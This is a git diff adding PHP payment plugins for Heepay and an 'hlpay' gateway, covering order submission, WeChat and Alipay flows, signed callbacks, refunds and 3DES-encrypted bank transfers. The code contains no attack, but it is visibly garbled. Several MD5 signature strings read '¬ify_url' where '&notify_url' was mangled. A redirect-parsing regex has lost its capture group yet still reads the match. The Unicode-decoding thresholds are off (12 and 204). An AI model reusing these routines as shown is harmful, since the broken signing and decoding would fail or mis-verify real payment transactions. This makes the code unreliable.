if(!empty($channel['appmchid'])) $param['ref_agent_id'] = $channel['appmchid']; + if(checkmobile() || $device=='mobile'){ + $param['is_phone'] = '1'; + } + if($pay_type == '30' && $sub_appid && $sub_openid){ + $param['meta_option'] = base64_encode('{"s":"'.mb_convert_encoding('微信小程序','GBK','UTF-8').'","n":"'.mb_convert_encoding('在线商城','GBK','UTF-8').'","id":"'.$siteurl.'","is_minipg":"1","wx_openid":"'.$sub_openid.'","wx_sub_appid":"'.$sub_appid.'"}'); + } + elseif($pay_type == '30' && (checkwechat() || $mdevice=='wechat')){ + $param['is_frame'] = '1'; + $param['meta_option'] = base64_encode('{"s":"WAP","n":"'.mb_convert_encoding('在线商城','GBK','UTF-8').'","id":"'.$siteurl.'"}'); + } + + $signstr = 'version='.$param['version'].'&agent_id='.$param['agent_id'].'&agent_bill_id='.$param['agent_bill_id'].'&agent_bill_time='.$param['agent_bill_time'].'&pay_type='.$param['pay_type'].'&pay_amt='.$param['pay_amt'].'¬ify_url='.$param['notify_url'].'&return_url='.$param['return_url'].'&user_ip='.$param['user_ip'].'&key='.$channel['appkey']; + if(!empty($param['ref_agent_id'])) $signstr .= '&ref_agent_id='.$param['ref_agent_id']; + $param['sign'] = md5($signstr); + return $param; + } + + static private function getBankPayParam(){ + global $siteurl, $channel, $order, $ordername, $conf, $clientip, $device, $mdevice; + + $param = [ + 'version' => '3', + 'pay_type' => '20', + 'pay_code' => '0', + 'agent_id' => $channel['appid'], + 'agent_bill_id' => TRADE_NO, + 'agent_bill_time' => date('YmdHis'), + 'pay_amt' => $order['realmoney'], + 'notify_url' => $conf['localurl'].'pay/notify/'.TRADE_NO.'/', + 'return_url' => $siteurl.'pay/return/'.TRADE_NO.'/', + 'user_ip' => str_replace('.', '_', $clientip), + 'goods_name' => mb_convert_encoding($ordername,'GBK','UTF-8'), + 'bank_card_type' => '-1', + 'sign_type' => 'MD5' + ]; + if(!empty($channel['appmchid'])) $param['ref_agent_id'] = $channel['appmchid']; + + $signstr = 'version='.$param['version'].'&agent_id='.$param['agent_id'].'&agent_bill_id='.$param['agent_bill_id'].'&agent_bill_time='.$param['agent_bill_time'].'&pay_type='.$param['pay_type'].'&pay_amt='.$param['pay_amt'].'¬ify_url='.$param['notify_url'].'&return_url='.$param['return_url'].'&user_ip='.$param['user_ip'].'&bank_card_type='.$param['bank_card_type'].'&key='.$channel['appkey']; + if(!empty($param['ref_agent_id'])) $signstr .= '&ref_agent_id='.$param['ref_agent_id']; + $param['sign'] = md5($signstr); + return $param; + } + + static public function submit(){ + global $siteurl, $channel, $order; + + if($order['typename'] == 'alipay'){ + $pay_type = '22'; + }elseif($order['typename'] == 'wxpay'){ + if(checkmobile() && !checkwechat()){ + return ['type'=>'jump','url'=>'/pay/wxwappay/'.TRADE_NO.'/']; + } + $pay_type = '30'; + }elseif($order['typename'] == 'bank'){ + if(in_array('3',$channel['apptype'])){ + $pay_type = '34'; + }elseif(in_array('1',$channel['apptype'])){ + $pay_type = '20'; + }else{ + $pay_type = checkmobile() ? '34' : '64'; + } + } + + $apiurl = 'https://pay.Heepay.com/Payment/Index.aspx'; + $param = $pay_type == '20' ? self::getBankPayParam() : self::getPayParam($pay_type); + $url = $apiurl.'?'.http_build_query($param); + + return ['type'=>'jump','url'=>$url]; + } + + //微信小程序支付 + static public function wxminipay(){ + global $siteurl, $channel, $order, $ordername, $conf; + + $code = isset($_GET['code'])?trim($_GET['code']):exit('{"code":-1,"msg":"code不能为空"}'); + + //①、获取用户openid + $wxinfo = \lib\Channel::getWeixin($channel['appwxa']); + if(!$wxinfo)exit('{"code":-1,"msg":"支付通道绑定的微信小程序不存在"}'); + try{ + $tools = new \WeChatPay\JsApiTool($wxinfo['appid'], $wxinfo['appsecret']); + $openid = $tools->AppGetOpenid($code); + }catch(Exception $e){ + exit('{"code":-1,"msg":"'.$e->getMessage().'"}'); + } + $blocks = checkBlockUser($openid, TRADE_NO); + if($blocks)exit('{"code":-1,"msg":"'.$blocks['msg'].'"}'); + + //②、统一下单 + $apiurl = 'https://pay.Heepay.com/Payment/Index.aspx'; + $param = self::getPayParam('30', $wxinfo['appid'], $openid); + $response = get_curl($apiurl, http_build_query($param)); + $result = json_decode($response, true); + if(isset($result['package'])){ + exit(json_encode(['code'=>0, 'data'=>$result])); + }elseif(preg_match('!Object moved to here!', $response, $match)){ + if(strpos($match[1], 'Error.aspx?message=')){ + $message = explode('Error.aspx?message=', $match[1])[1]; + $message = self::unicode_urldecode($message); + exit('{"code":-1,"msg":"'.$message.'"}'); + }else{ + exit('{"code":-1,"msg":"微信支付下单失败!"}'); + } + }else{ + exit('{"code":-1,"msg":"微信支付下单失败!"}'); + } + } + + //微信手机支付 + static public function wxwappay(){ + global $siteurl, $channel, $order; + + if($channel['appwxa']>0){ + $wxinfo = \lib\Channel::getWeixin($channel['appwxa']); + if(!$wxinfo) return ['type'=>'error','msg'=>'支付通道绑定的微信小程序不存在']; + try{ + $code_url = wxminipay_jump_scheme($wxinfo['id'], TRADE_NO); + }catch(Exception $e){ + return ['type'=>'error','msg'=>$e->getMessage()]; + } + return ['type'=>'scheme','page'=>'wxpay_mini','url'=>$code_url]; + }else{ + $code_url = $siteurl.'pay/submit/'.TRADE_NO.'/'; + return ['type'=>'qrcode','page'=>'wxpay_wap','url'=>$code_url]; + } + } + + //异步回调 + static public function notify(){ + global $channel, $order; + + $signstr = 'result='.$_GET['result'].'&agent_id='.$_GET['agent_id'].'&jnet_bill_no='.$_GET['jnet_bill_no'].'&agent_bill_id='.$_GET['agent_bill_id'].'&pay_type='.$_GET['pay_type'].'&pay_amt='.$_GET['pay_amt'].'&remark='.$_GET['remark'].'&key='.$channel['appkey']; + $sign = md5($signstr); + + if($sign===$_GET["sign"]){ + if($_GET['result'] == '1'){ + $out_trade_no = $_GET['agent_bill_id']; + $api_trade_no = $_GET['jnet_bill_no']; + $money = $_GET['pay_amt']; + + if ($out_trade_no == TRADE_NO && round($money,2)==round($order['realmoney'],2)) { + processNotify($order, $api_trade_no, $_GET['pay_user']); + } + return ['type'=>'html','data'=>'ok']; + }else{ + return ['type'=>'html','data'=>'result='.$_GET['result']]; + } + }else{ + return ['type'=>'html','data'=>'error']; + } + } + + //同步回调 + static public function return(){ + global $channel, $order; + + $signstr = 'result='.$_GET['result'].'&agent_id='.$_GET['agent_id'].'&jnet_bill_no='.$_GET['jnet_bill_no'].'&agent_bill_id='.$_GET['agent_bill_id'].'&pay_type='.$_GET['pay_type'].'&pay_amt='.$_GET['pay_amt'].'&remark='.$_GET['remark'].'&key='.$channel['appkey']; + $sign = md5($signstr); + + if($sign===$_GET["sign"]){ + if($_GET['result'] == '1'){ + $out_trade_no = $_GET['agent_bill_id']; + $api_trade_no = $_GET['jnet_bill_no']; + $money = $_GET['pay_amt']; + + if ($out_trade_no == TRADE_NO && round($money,2)==round($order['realmoney'],2)) { + processReturn($order, $api_trade_no, $_GET['pay_user']); + }else{ + return ['type'=>'error','msg'=>'订单信息校验失败']; + } + }else{ + return ['type'=>'error','msg'=>'result='.$_GET['result']]; + } + }else{ + return ['type'=>'error','msg'=>'验证失败!']; + } + } + + //退款 + static public function refund($order){ + global $channel, $conf; + if(empty($order))exit(); + + $apiurl = 'https://pay.heepay.com/API/Payment/PaymentRefund.aspx'; + if(round($order['refundmoney'],2) == round($order['realmoney'],2)){ + $param = [ + 'version' => '1', + 'agent_id' => $channel['appid'], + 'agent_bill_id' => $order['trade_no'], + 'notify_url' => $conf['localurl'].'pay/refundnotify/'.TRADE_NO.'/', + 'sign_type' => 'MD5' + ]; + $signstr = 'agent_bill_id='.$param['agent_bill_id'].'&agent_id='.$param['agent_id'].'&key='.$channel['appsecret'].'¬ify_url='.$param['notify_url'].'&version='.$param['version']; + }else{ + $refund_details = $order['trade_no'].','.$order['refundmoney'].','.$order['refund_no']; + $param = [ + 'version' => '1', + 'agent_id' => $channel['appid'], + 'refund_details' => $refund_details, + 'notify_url' => $conf['localurl'].'pay/refundnotify/'.TRADE_NO.'/', + 'sign_type' => 'MD5' + ]; + $signstr = 'agent_id='.$param['agent_id'].'&key='.$channel['appsecret'].'¬ify_url='.$param['notify_url'].'&refund_details='.$param['refund_details'].'&version='.$param['version']; + } + + $param['sign'] = md5(strtolower($signstr)); + + $data = get_curl($apiurl, http_build_query($param)); + $data = mb_convert_encoding($data,'UTF-8','GBK'); + libxml_disable_entity_loader(true); + $result = json_decode(json_encode(simplexml_load_string($data, 'SimpleXMLElement', LIBXML_NOCDATA)), true); + + if(isset($result['ret_code']) && $result['ret_code']=='0000'){ + $result = ['code'=>0]; + }else{ + $result = ['code'=>-1, 'msg'=>$result["ret_msg"]?$result["ret_msg"]:'返回内容解析失败']; + } + return $result; + } + + //退款异步回调 + static public function refundnotify(){ + global $channel, $order; + + $signstr = 'agent_id='.$_GET['agent_id'].'&hy_bill_no='.$_GET['hy_bill_no'].'&agent_bill_id='.$_GET['agent_bill_id'].'&agent_refund_bill_no='.$_GET['agent_refund_bill_no'].'&refund_amt='.$_GET['refund_amt'].'&refund_status='.$_GET['refund_status'].'&hy_deal_time='.$_GET['hy_deal_time'].'&key='.$channel['appsecret']; + $sign = md5(strtolower($signstr)); + + if($sign===$_GET["sign"]){ + return ['type'=>'html','data'=>'ok']; + }else{ + return ['type'=>'html','data'=>'error']; + } + } + + static private function unicode_urldecode($url){ + preg_match_all('/%u([[:alnum:]]{4})/', $url, $a); + foreach ($a[1] as $uniord) { + $dec = hexdec($uniord); + $utf = ''; + if ($dec < 12) { + $utf = chr($dec); + } else if ($dec < 204) { + $utf = chr(192 + (($dec - ($dec % 64)) / 64)); + $utf .= chr(128 + ($dec % 64)); + } else { + $utf = chr(224 + (($dec - ($dec % 4096)) / 4096)); + $utf .= chr(128 + ((($dec % 4096) - ($dec % 64)) / 64)); + $utf .= chr(128 + ($dec % 64)); + } + $url = str_replace('%u' . $uniord, $utf, $url); + } + return urldecode($url); + } + + static private function queryBankCardInfo($channel, $bank_card_no){ + $apiurl = 'https://pay.heepay.com/API/PayTransit/QueryBankCardInfo.aspx'; + $param = [ + 'version' => '3', + 'agent_id' => $channel['appid'], + 'bank_card_no' => $bank_card_no, + ]; + $signstr = 'agent_id='.$param['agent_id'].'&bank_card_no='.$param['bank_card_no'].'&key='.$channel['transfer_key'].'&version='.$param['version']; + $param['sign'] = md5(strtolower($signstr)); + + $data = get_curl($apiurl, http_build_query($param)); + $data = mb_convert_encoding($data,'UTF-8','GBK'); + libxml_disable_entity_loader(true); + $result = json_decode(json_encode(simplexml_load_string($data, 'SimpleXMLElement', LIBXML_NOCDATA)), true); + + if(isset($result['ret_code']) && $result['ret_code']=='0000'){ + $result = ['code'=>0, 'bank_card_no'=>$result['bank_card_no'], 'bank_name'=>$result['bank_name'], 'bank_type'=>$result['bank_type'], 'bank_card_type'=>$result['bank_card_type']]; + }else{ + $result = ['code'=>-1, 'msg'=>$result["ret_msg"]?$result["ret_msg"]:'返回内容解析失败']; + } + return $result; + } + + //转账 + static public function transfer($channel, $bizParam){ + global $conf; + if(empty($channel) || empty($bizParam))exit(); + + if($bizParam['type'] == 'bank'){ + $bank_card_info = self::queryBankCardInfo($channel, $bizParam['payee_account']); + if($bank_card_info['code']==-1) return ['code'=>-1, 'msg'=>'查询银行卡信息失败:'.$bank_card_info['msg']]; + + $detail_data = $bizParam['out_biz_no'].'^'.$bank_card_info['bank_type'].'^0^'.$bizParam['payee_account'].'^'.$bizParam['payee_real_name'].'^'.sprintf('%.2f' , $bizParam['money']).'^'.$bizParam['transfer_desc'].'^浙江省^杭州市^'.$bank_card_info['bank_name']; + $apiurl = 'https://pay.heepay.com/API/PayTransit/PayTransferWithSmallAll.aspx'; + }else{ + $detail_data = $bizParam['out_biz_no'].'^0^'.$bizParam['payee_account'].'^'.$bizParam['payee_real_name'].'^'.sprintf('%.2f' , $bizParam['money']).'^'.$bizParam['transfer_desc']; + $apiurl = 'https://pay.heepay.com/API/PayTransit/PayTransferThridWithSmall.aspx'; + if($bizParam['type'] == 'alipay') $transit_type = '4'; + elseif($bizParam['type'] == 'wxpay') $transit_type = '5'; + } + $param = [ + 'version' => '3', + 'agent_id' => $channel['appid'], + 'batch_no' => $bizParam['out_biz_no'], + 'batch_amt' => sprintf('%.2f' , $bizParam['money']), + 'batch_num' => '1', + 'detail_data' => $detail_data, + 'notify_url' => $conf['localurl'].'pay/transfernotify/'.$channel['id'].'/', + 'ext_param1' => '123', + 'transit_type' => $transit_type, + 'sign_type' => 'MD5' + ]; + $signstr = 'agent_id='.$param['agent_id'].'&batch_amt='.$param['batch_amt'].'&batch_no='.$param['batch_no'].'&batch_num='.$param['batch_num'].'&detail_data='.$param['detail_data'].'&ext_param1='.$param['ext_param1'].'&key='.$channel['transfer_key'].'¬ify_url='.$param['notify_url'].'&version='.$param['version']; + $param['sign'] = md5(strtolower($signstr)); + $param['detail_data'] = mb_convert_encoding($param['detail_data'],'GBK','UTF-8'); + $param['detail_data'] = self::tripleDesEncrypt($param['detail_data'], $channel['transfer_des_key']); + + $data = get_curl($apiurl, http_build_query($param)); + $data = mb_convert_encoding($data,'UTF-8','GBK'); + libxml_disable_entity_loader(true); + $result = json_decode(json_encode(simplexml_load_string($data, 'SimpleXMLElement', LIBXML_NOCDATA)), true); + + if(isset($result['ret_code']) && $result['ret_code']=='0000'){ + return ['code'=>0, 'status'=>0, 'orderid'=>$bizParam['out_biz_no'], 'paydate'=>date('Y-m-d H:i:s')]; + }else{ + $result = ['code'=>-1, 'msg'=>$result["ret_msg"]?$result["ret_msg"]:'返回内容解析失败']; + } + return $result; + } + + //转账查询 + static public function transfer_query($channel, $bizParam){ + if(empty($channel) || empty($bizParam))exit(); + + $apiurl = 'https://pay.heepay.com/API/PayTransit/QueryTransfer.aspx'; + $param = [ + 'version' => '3', + 'agent_id' => $channel['appid'], + 'batch_no' => $bizParam['out_biz_no'], + 'sign_type' => 'MD5' + ]; + $signstr = 'agent_id='.$param['agent_id'].'&batch_no='.$param['batch_no'].'&key='.$channel['transfer_key'].'&version='.$param['version']; + $param['sign'] = md5(strtolower($signstr)); + + $data = get_curl($apiurl, http_build_query($param)); + $data = mb_convert_encoding($data,'UTF-8','GBK'); + libxml_disable_entity_loader(true); + $result = json_decode(json_encode(simplexml_load_string($data, 'SimpleXMLElement', LIBXML_NOCDATA)), true); + + if(isset($result['ret_code']) && $result['ret_code']=='0000'){ + $status = 0; + if($result['detail_data']){ + $detail_data = self::tripleDesDecrypt($result['detail_data'], $channel['transfer_des_key']); + $detail_data = mb_convert_encoding($detail_data,'UTF-8','GBK'); + $row = explode('|', $detail_data)[0]; + $arr = explode('^', $row); + if($arr[0] == $bizParam['out_biz_no']){ + $status = $arr[4] == 'S' ? 1 : 2; + if($arr[4] == 'S') $paydate = $arr[5]; + else $errmsg = $arr[5]; + } + } + $result = ['code'=>0, 'status'=>$status, 'amount'=>$result['batch_amt'], 'errmsg'=>$errmsg, 'paydate'=>$paydate]; + }else{ + $result = ['code'=>-1, 'msg'=>$result["ret_msg"]?$result["ret_msg"]:'返回内容解析失败']; + } + return $result; + } + + //付款凭证 + static public function transfer_proof($channel, $bizParam){ + if(empty($channel) || empty($bizParam))exit(); + + $apiurl = 'https://www.heepay.com/API/PayTransit/PayTransferGetProof.aspx'; + $param = [ + 'version' => '3', + 'agent_id' => $channel['appid'], + 'batch_no' => $bizParam['out_biz_no'], + 'sign_type' => 'MD5' + ]; + $signstr = 'agent_id='.$param['agent_id'].'&batch_no='.$param['batch_no'].'&key='.$channel['transfer_key'].'&version='.$param['version']; + $param['sign'] = md5(strtolower($signstr)); + + $data = get_curl($apiurl, http_build_query($param)); + $data = mb_convert_encoding($data,'UTF-8','GBK'); + libxml_disable_entity_loader(true); + $result = json_decode(json_encode(simplexml_load_string($data, 'SimpleXMLElement', LIBXML_NOCDATA)), true); + + if(isset($result['ret_code']) && $result['ret_code']=='0000'){ + if($result['file_path']){ + $file_path = self::tripleDesDecrypt($result['file_path'], $channel['transfer_des_key']); + $result = ['code'=>0, 'url'=>$file_path]; + }else{ + $result = ['code'=>-1, 'msg'=>$result["ret_msg"]?$result["ret_msg"]:'未返回下载地址']; + } + }else{ + $result = ['code'=>-1, 'msg'=>$result["ret_msg"]?$result["ret_msg"]:'返回内容解析失败']; + } + return $result; + } + + //余额查询 + static public function balance_query($channel, $bizParam){ + if(empty($channel))exit(); + + $apiurl = 'https://www.heepay.com/API/Merchant/QueryBank.aspx'; + $param = [ + 'version' => '1', + 'agent_id' => $channel['appid'], + ]; + $signstr = 'version='.$param['version'].'&agent_id='.$param['agent_id'].'&key='.$channel['transfer_key']; + $param['sign'] = md5($signstr); + + $data = get_curl($apiurl, http_build_query($param)); + $data = mb_convert_encoding($data,'UTF-8','GBK'); + $status = substr($data, 0, 1); + $ret = str_replace('|', '&', substr($data, 2)); + parse_str($ret, $result); + + if($status == 'S'){ + $result = ['code'=>0, 'amount'=>$result['can_Used_Amt']]; + }else{ + $result = ['code'=>-1, 'msg'=>$ret]; + } + return $result; + } + + //转账异步回调 + static public function transfernotify(){ + global $channel; + + $signstr = 'ret_code='.$_POST['ret_code'].'&ret_msg='.$_POST['ret_msg'].'&agent_id='.$_POST['agent_id'].'&hy_bill_no='.$_POST['hy_bill_no'].'&status='.$_POST['status'].'&batch_no='.$_POST['batch_no'].'&batch_amt='.$_POST['batch_amt'].'&batch_num='.$_POST['batch_num'].'&detail_data='.$_POST['detail_data'].'&ext_param1='.$_POST['ext_param1'].'&key='.$channel['transfer_key']; + $signstr = mb_convert_encoding($signstr,'UTF-8','GBK'); + $sign = md5(strtolower($signstr)); + + if($sign===$_POST["sign"]){ + if($_POST['status']==1){ + $detail_data = mb_convert_encoding($_POST['detail_data'],'UTF-8','GBK'); + $detail_data = explode('|', $detail_data); + foreach($detail_data as $row){ + $arr = explode('^', $row); + if(!$arr[0]) continue; + $out_biz_no = $arr[0]; + $status = $arr[4] == 'S' ? 1 : 2; + $errmsg = $arr[4] == 'F' ? $arr[5] : null; + processTransfer($out_biz_no, $status, $errmsg); + } + } + return ['type'=>'html','data'=>'ok']; + }else{ + return ['type'=>'html','data'=>'error']; + } + } + + static private function tripleDesEncrypt($data, $key){ + $encrypted = openssl_encrypt($data, 'des-ede3', $key, OPENSSL_RAW_DATA); + return strtoupper(bin2hex($encrypted)); + } + static private function tripleDesDecrypt($data, $key){ + $data = hex2bin($data); + return openssl_decrypt($data, 'des-ede3', $key, OPENSSL_RAW_DATA); + } + +} \ No newline at end of file diff --git a/plugins/hlpay/hlpay_plugin.php b/plugins/hlpay/hlpay_plugin.php new file mode 100644 index 0000000..816fa0e --- /dev/null +++ b/plugins/hlpay/hlpay_plugin.php @@ -0,0 +1,413 @@ + 'hlpay', //支付插件英文名称,需和目录名称一致,不能有重复 + 'showname' => '汇联支付', //支付插件显示名称 + 'author' => '汇联', //支付插件作者 + 'link' => '', //支付插件作者链接 + 'types' => ['alipay','wxpay','bank'], //支付插件支持的支付方式,可选的有alipay,qqpay,wxpay,bank + 'transtypes' => ['alipay','wxpay'], //支付插件支持的转账方式,可选的有alipay,qqpay,wxpay,bank + 'inputs' => [ //支付插件要求传入的参数以及参数显示名称,可选的有appid,appkey,appsecret,appurl,appmchid + 'appmchid' => [ + 'name' => '商户编号', + 'type' => 'input', + 'note' => '', + ], + 'appid' => [ + 'name' => '应用APPID', + 'type' => 'input', + 'note' => '', + ], + 'appkey' => [ + 'name' => '应用私钥', + 'type' => 'textarea', + 'note' => '', + ], + 'appsecret' => [ + 'name' => '平台公钥', + 'type' => 'textarea', + 'note' => '', + ], + 'channelid' => [ + 'name' => '通道ID', + 'type' => 'input', + 'note' => '可留空', + ], + 'appswitch' => [ + 'name' => '支付方式类型', + 'type' => 'select', + 'options' => [0=>'线下支付方式',1=>'线上支付方式'], + ], + ], + 'select' => null, + 'select_alipay' => [ + '1' => '扫码支付', + '2' => 'JS支付', + ], + 'note' => null, //支付密钥填写说明 + 'bindwxmp' => true, //是否支持绑定微信公众号 + 'bindwxa' => true, //是否支持绑定微信小程序 + ]; + + static public function submit(){ + global $siteurl, $channel, $order, $sitename; + + if($order['typename']=='alipay'){ + if(checkalipay() && in_array('2',$channel['apptype'])){ + return ['type'=>'jump','url'=>'/pay/alipayjs/'.TRADE_NO.'/?d=1']; + }else{ + return ['type'=>'jump','url'=>'/pay/alipay/'.TRADE_NO.'/']; + } + }elseif($order['typename']=='wxpay'){ + if(checkwechat() && $channel['appwxmp']>0){ + return ['type'=>'jump','url'=>'/pay/wxjspay/'.TRADE_NO.'/?d=1']; + }elseif(checkmobile() && $channel['appwxa']>0){ + return ['type'=>'jump','url'=>'/pay/wxwappay/'.TRADE_NO.'/']; + }else{ + return ['type'=>'jump','url'=>'/pay/wxpay/'.TRADE_NO.'/']; + } + }elseif($order['typename']=='bank'){ + return ['type'=>'jump','url'=>'/pay/bank/'.TRADE_NO.'/']; + } + } + + static public function mapi(){ + global $siteurl, $channel, $order, $conf, $device, $mdevice; + + if($order['typename']=='alipay'){ + if($mdevice=='alipay' && in_array('2',$channel['apptype'])){ + return ['type'=>'jump','url'=>$siteurl.'pay/alipayjs/'.TRADE_NO.'/?d=1']; + }else{ + return self::alipay(); + } + }elseif($order['typename']=='wxpay'){ + if($mdevice=='wechat' && $channel['appwxmp']>0){ + return ['type'=>'jump','url'=>$siteurl.'pay/wxjspay/'.TRADE_NO.'/?d=1']; + }elseif($device=='mobile' && $channel['appwxa']>0){ + return self::wxwappay(); + }else{ + return self::wxpay(); + } + }elseif($order['typename']=='bank'){ + return self::bank(); + } + } + + //统一下单 + static private function addOrder($way_code, $sub_appid=null, $sub_openid=null){ + global $siteurl, $channel, $order, $ordername, $conf, $clientip; + + require_once PAY_ROOT."inc/HlpayClient.php"; + + $client = new HlpayClient($channel['appmchid'], $channel['appid'], $channel['appkey'], $channel['appsecret']); + + $param = [ + 'way_code' => $way_code, + 'mch_order_no' => TRADE_NO, + 'amount' => $order['realmoney'], + 'client_ip' => $clientip, + 'subject' => $ordername, + 'notify_url' => $conf['localurl'].'pay/notify/'.TRADE_NO.'/', + 'return_url' => $siteurl.'pay/return/'.TRADE_NO.'/', + ]; + if(!empty($channel['channelid'])){ + $param['mch_channel_id'] = $channel['channelid']; + } + if($sub_appid && $sub_openid){ + $param += [ + 'channel_extra' => json_encode(['sub_appid' => $sub_appid, 'user_id' => $sub_openid]), + ]; + }elseif($sub_openid){ + $param += [ + 'channel_extra' => json_encode(['user_id' => $sub_openid]), + ]; + } + + return \lib\Payment::lockPayData(TRADE_NO, function() use($client, $param) { + $result = $client->execute('/payment.order/create', $param); + \lib\Payment::updateOrder(TRADE_NO, $result['pay_order_id']); + return $result; + }); + } + + //支付宝支付 + static public function alipay(){ + global $channel, $device, $mdevice, $siteurl; + if(in_array('2',$channel['apptype']) && !in_array('1',$channel['apptype'])){ + $code_url = $siteurl.'pay/alipayjs/'.TRADE_NO.'/'; + }else{ + try{ + $result = self::addOrder($channel['appswitch'] == 1 ? 'onAlipayQr' : 'offAlipayQr'); + $code_url = $result['pay_info']; + }catch(Exception $ex){ + return ['type'=>'error','msg'=>'支付宝支付下单失败!'.$ex->getMessage()]; + } + } + + if(checkalipay() || $mdevice=='alipay'){ + return ['type'=>'jump','url'=>$code_url]; + }else{ + return ['type'=>'qrcode','page'=>'alipay_qrcode','url'=>$code_url]; + } + } + + static public function alipayjs(){ + global $channel; + [$user_type, $user_id] = alipay_oauth(); + + $blocks = checkBlockUser($user_id, TRADE_NO); + if($blocks) return $blocks; + + if($user_type == 'openid'){ + return ['type'=>'error','msg'=>'支付宝快捷登录获取uid失败,需将用户标识切换到uid模式']; + } + + try{ + $pay_info = self::addOrder($channel['appswitch'] == 1 ? 'onAlipayPub' : 'offAlipayPub', null, $user_id); + }catch(Exception $ex){ + return ['type'=>'error','msg'=>'支付宝支付下单失败!'.$ex->getMessage()]; + } + + if($_GET['d']=='1'){ + $redirect_url='data.backurl'; + }else{ + $redirect_url='\'/pay/ok/'.TRADE_NO.'/\''; + } + return ['type'=>'page','page'=>'alipay_jspay','data'=>['alipay_trade_no'=>$pay_info, 'redirect_url'=>$redirect_url]]; + } + + //微信扫码支付 + static public function wxpay(){ + global $channel, $device, $mdevice; + try{ + $result = self::addOrder($channel['appswitch'] == 1 ? 'onWechatQr' : 'offWechatQr'); + $code_url = $result['pay_info']; + }catch(Exception $ex){ + return ['type'=>'error','msg'=>'微信支付下单失败!'.$ex->getMessage()]; + } + + if(checkwechat() || $mdevice=='wechat'){ + return ['type'=>'jump','url'=>$code_url]; + } elseif (checkmobile() || $device=='mobile') { + return ['type'=>'qrcode','page'=>'wxpay_wap','url'=>$code_url]; + } else { + return ['type'=>'qrcode','page'=>'wxpay_qrcode','url'=>$code_url]; + } + } + + //微信公众号支付 + static public function wxjspay(){ + global $siteurl, $channel, $order, $ordername, $conf; + + //①、获取用户openid + $wxinfo = \lib\Channel::getWeixin($channel['appwxmp']); + if(!$wxinfo) return ['type'=>'error','msg'=>'支付通道绑定的微信公众号不存在']; + try{ + $tools = new \WeChatPay\JsApiTool($wxinfo['appid'], $wxinfo['appsecret']); + $openid = $tools->GetOpenid(); + }catch(Exception $e){ + return ['type'=>'error','msg'=>$e->getMessage()]; + } + $blocks = checkBlockUser($openid, TRADE_NO); + if($blocks) return $blocks; + + //②、统一下单 + try{ + $result = self::addOrder($channel['appswitch'] == 1 ? 'onWechatPub' : 'offWechatPub', $wxinfo['appid'], $openid); + }catch(Exception $ex){ + return ['type'=>'error','msg'=>'微信支付下单失败!'.$ex->getMessage()]; + } + + if($_GET['d']==1){ + $redirect_url='data.backurl'; + }else{ + $redirect_url='\'/pay/ok/'.TRADE_NO.'/\''; + } + return ['type'=>'page','page'=>'wxpay_jspay','data'=>['jsApiParameters'=>$result['pay_info'], 'redirect_url'=>$redirect_url]]; + } + + //微信小程序支付 + static public function wxminipay(){ + global $siteurl, $channel, $order, $ordername, $conf; + + $code = isset($_GET['code'])?trim($_GET['code']):exit('{"code":-1,"msg":"code不能为空"}'); + + //①、获取用户openid + $wxinfo = \lib\Channel::getWeixin($channel['appwxa']); + if(!$wxinfo)exit('{"code":-1,"msg":"支付通道绑定的微信小程序不存在"}'); + try{ + $tools = new \WeChatPay\JsApiTool($wxinfo['appid'], $wxinfo['appsecret']); + $openid = $tools->AppGetOpenid($code); + }catch(Exception $e){ + exit('{"code":-1,"msg":"'.$e->getMessage().'"}'); + } + $blocks = checkBlockUser($openid, TRADE_NO); + if($blocks)exit('{"code":-1,"msg":"'.$blocks['msg'].'"}'); + + //②、统一下单 + try{ + $result = self::addOrder($channel['appswitch'] == 1 ? 'onWechatLite' : 'offWechatLite', $wxinfo['appid'], $openid); + }catch(Exception $ex){ + exit('{"code":-1,"msg":"'.$ex->getMessage().'"}'); + } + + exit(json_encode(['code'=>0, 'data'=>json_decode($result['pay_info'], true)])); + } + + //微信手机支付 + static public function wxwappay(){ + global $siteurl,$channel, $order, $ordername, $conf, $clientip; + + $wxinfo = \lib\Channel::getWeixin($channel['appwxa']); + if(!$wxinfo) return ['type'=>'error','msg'=>'支付通道绑定的微信小程序不存在']; + try{ + $code_url = wxminipay_jump_scheme($wxinfo['id'], TRADE_NO); + }catch(Exception $e){ + return ['type'=>'error','msg'=>$e->getMessage()]; + } + return ['type'=>'scheme','page'=>'wxpay_mini','url'=>$code_url]; + } + + + //云闪付扫码支付 + static public function bank(){ + global $channel; + try{ + $code_url = self::addOrder($channel['appswitch'] == 1 ? 'onUnionQr' : 'offUnionQr'); + }catch(Exception $ex){ + return ['type'=>'error','msg'=>'云闪付下单失败!'.$ex->getMessage()]; + } + + return ['type'=>'qrcode','page'=>'bank_qrcode','url'=>$code_url]; + } + + //异步回调 + static public function notify(){ + global $channel, $order; + + require_once PAY_ROOT."inc/HlpayClient.php"; + + $client = new HlpayClient($channel['appmchid'], $channel['appid'], $channel['appkey'], $channel['appsecret']); + $verify_result = $client->verifySign($_POST); + + if($verify_result){ + if ($_POST['state'] == '3') { + $out_trade_no = $_POST['mch_order_no']; + $trade_no = $_POST['pay_order_id']; + if($out_trade_no == TRADE_NO){ + processNotify($order, $trade_no); + } + return ['type'=>'html','data'=>'success']; + } + return ['type'=>'html','data'=>'status fail']; + } + else { + return ['type'=>'html','data'=>'sign fail']; + } + } + + //支付成功页面 + static public function ok(){ + return ['type'=>'page','page'=>'ok']; + } + + //支付返回页面 + static public function return(){ + return ['type'=>'page','page'=>'return']; + } + + //退款 + static public function refund($order){ + global $channel; + if(empty($order))exit(); + + require_once PAY_ROOT."inc/HlpayClient.php"; + + $client = new HlpayClient($channel['appmchid'], $channel['appid'], $channel['appkey'], $channel['appsecret']); + + $param = [ + 'pay_order_id' => $order['api_trade_no'], + 'mch_refund_no' => $order['refund_no'], + 'refund_amount' => $order['refundmoney'], + 'refund_reason' => '订单退款', + ]; + + try{ + $result = $client->execute('/payment.order/refund', $param); + }catch(Exception $e){ + return ['code'=>-1, 'msg'=>$e->getMessage()]; + } + + return ['code'=>0, 'trade_no'=>$result['refund_order_id'], 'refund_fee'=>$result['refund_amount']]; + } + + //转账 + static public function transfer($channel, $bizParam){ + global $clientip, $conf; + if(empty($channel) || empty($bizParam))exit(); + if($bizParam['type'] == 'alipay') $entry_type = 1; + else if($bizParam['type'] == 'wxpay') $entry_type = 2; + else if($bizParam['type'] == 'bank') $entry_type = 3; + + require_once PAY_ROOT."inc/HlpayClient.php"; + + $client = new HlpayClient($channel['appmchid'], $channel['appid'], $channel['appkey'], $channel['appsecret']); + + $param = [ + 'in_code' => $bizParam['type'], + 'way_code' => 'transfer', + 'entry_type' => $entry_type, + 'mch_order_no' => $bizParam['out_biz_no'], + 